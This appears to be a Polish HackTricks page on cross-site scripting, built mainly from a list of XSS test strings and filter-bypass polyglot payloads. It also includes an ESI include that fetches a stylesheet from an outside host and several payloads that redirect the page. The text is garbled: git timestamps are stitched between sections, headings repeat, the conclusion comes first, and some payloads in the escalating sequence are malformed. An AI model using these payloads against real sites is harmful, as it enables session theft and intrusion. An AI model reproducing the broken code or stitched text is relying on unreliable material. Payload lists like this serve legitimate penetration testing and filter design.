Polyglots can be used in various hacking techniques, including XSS attacks, file upload vulnerabilities, and server-side request forgery (SSRF) attacks. By disguising malicious code as a benign file type, hackers can bypass security filters and execute their payloads.
It is important to note that the creation and use of polyglots should only be done for ethical hacking purposes and with proper authorization. Using polyglots for malicious activities is illegal and can result in severe consequences.
In conclusion, polyglots are powerful tools in the hacker's arsenal, allowing them to bypass security measures and execute malicious code by exploiting the overlapping syntax of different file types.
2021-06-25 20:23:31 +00:00
```markup
<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
```
## XSS
2021-06-26 10:02:37 +00:00
2024-02-11 01:46:25 +00:00
### Podstawowe testy
#### Testy podstawowe
```html
<script>alert('XSS')</script>
```
2021-06-26 10:02:37 +00:00
2024-02-11 01:46:25 +00:00
#### Testy z atrybutami
```html
<img src="x" onerror="alert('XSS')">
```
#### Testy z atrybutami i zdarzeniami
```html
<img src="x" onerror="javascript:alert('XSS')">
```
#### Testy z atrybutami i zdarzeniami (bez apostrofów)
```html
<img src="x" onerror=javascript:alert('XSS')>
```
#### Testy z atrybutami i zdarzeniami (bez apostrofów i nawiasów)
```html
<img src="x" onerror=alert`XSS`>
```
#### Testy z atrybutami i zdarzeniami (bez apostrofów i nawiasów, z użyciem backticks)
```html
<img src="x" onerror=alert`XSS`>
```
#### Testy z atrybutami i zdarzeniami (bez apostrofów i nawiasów, z użyciem backticks i interpolacji)
```html
<img src="x" onerror=${alert`XSS`}>
```
#### Testy z atrybutami i zdarzeniami (bez apostrofów i nawiasów, z użyciem backticks i interpolacji, z użyciem funkcji)
```html
<img src="x" onerror=${(a)=>a`XSS`}>
```
#### Testy z atrybutami i zdarzeniami (bez apostrofów i nawiasów, z użyciem backticks i interpolacji, z użyciem funkcji i parametrów)
```html
<img src="x" onerror=${(a,b)=>a`XSS${b}`}>
```
#### Testy z atrybutami i zdarzeniami (bez apostrofów i nawiasów, z użyciem backticks i interpolacji, z użyciem funkcji i parametrów, z użyciem obiektu)
```html
<img src="x" onerror=${(a,b)=>a`XSS${b}`({})}>
```
#### Testy z atrybutami i zdarzeniami (bez apostrofów i nawiasów, z użyciem backticks i interpolacji, z użyciem funkcji i parametrów, z użyciem obiektu i wywołania metody)
```html
<img src="x" onerror=${(a,b)=>a`XSS${b}`({toString:()=>`alert('XSS')`})}>
```
#### Testy z atrybutami i zdarzeniami (bez apostrofów i nawiasów, z użyciem backticks i interpolacji, z użyciem funkcji i parametrów, z użyciem obiektu i wywołania metody, z użyciem funkcji eval)
```html
<img src="x" onerror=${(a,b)=>a`XSS${b}`({toString:()=>`eval(atob('YWxlcnQoJ0hUVFAvMS4wJyk7')`})}>
```
#### Testy z atrybutami i zdarzeniami (bez apostrofów i nawiasów, z użyciem backticks i interpolacji, z użyciem funkcji i parametrów, z użyciem obiektu i wywołania metody, z użyciem funkcji eval i kodowania base64)
```html
<img src="x" onerror=${(a,b)=>a`XSS${b}`({toString:()=>`eval(atob('YWxlcnQoJ0hUVFAvMS4wJyk7')`})}>
```
2021-06-26 10:02:37 +00:00
```markup
" onclick=alert() a="
'"><img src=x onerror=alert(1) />
javascript:alert()
```
2024-02-11 01:46:25 +00:00
### Poligloty
2021-06-26 10:02:37 +00:00
2024-02-11 01:46:25 +00:00
A polyglot is a file that can be interpreted as multiple file types. In the context of hacking, polyglots can be used to bypass security measures and execute malicious code. They are particularly useful in scenarios where different file types are allowed or expected, such as file uploads on a web application.
2021-06-26 10:02:37 +00:00
2024-02-11 01:46:25 +00:00
Polyglots are created by carefully crafting a file that adheres to the specifications of multiple file formats. By doing so, the file can be interpreted differently depending on the context in which it is opened. This allows an attacker to exploit vulnerabilities in different file parsers or interpreters.
Polyglots can be used for various purposes, including:
- **File format bypass**: By disguising a malicious file as a legitimate file type, such as an image or a document, an attacker can bypass security measures that only check for specific file extensions.
- **Code execution**: By embedding malicious code within a polyglot, an attacker can exploit vulnerabilities in different file parsers or interpreters to execute arbitrary commands on a target system.
- **Data exfiltration**: Polyglots can also be used to exfiltrate sensitive data from a target system. By embedding the data within the polyglot, an attacker can bypass security measures that only inspect specific file types.
Creating a polyglot requires a deep understanding of the specifications of the file formats involved. It involves carefully manipulating the file's structure and content to ensure that it can be interpreted correctly by multiple parsers or interpreters.
Polyglots are a powerful tool in a hacker's arsenal, as they can be used to bypass security measures and execute malicious code. It is important for security professionals to be aware of the existence of polyglots and to implement measures to detect and prevent their exploitation.
2021-06-26 10:02:37 +00:00
```markup
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
" onclick=alert(1)//<button onclick=alert(1)//> */ alert(1)//
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*
javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a
javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/
javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/*
javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/*
javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()//
javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/*
--></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/*
/</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/*
javascript://--></title></style></textarea></script><svg "//' onclick=alert()//
/</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/*
-->'"/></sCript><svG x=">" onload=(co\u006efirm)``>
<svg%0Ao%00nload=%09((pro\u006dpt))()//
javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/*<html/*/onmouseover=alert()//>
javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>--><svg onload=/*<html/*/onmouseover=alert()//>
javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/*--><html */ onmouseover=alert()//'>`
%0ajavascript:`/*\"/*-->&lt;svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert(test)//'">`
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+document.location=`//localhost/mH`//'>
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=document.location=`//localhost/mH`//>
```
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 01:46:25 +00:00
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
Inne sposoby wsparcia HackTricks:
2024-01-01 17:15:10 +00:00
2024-02-11 01:46:25 +00:00
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
2022-04-28 16:01:33 +00:00
</details>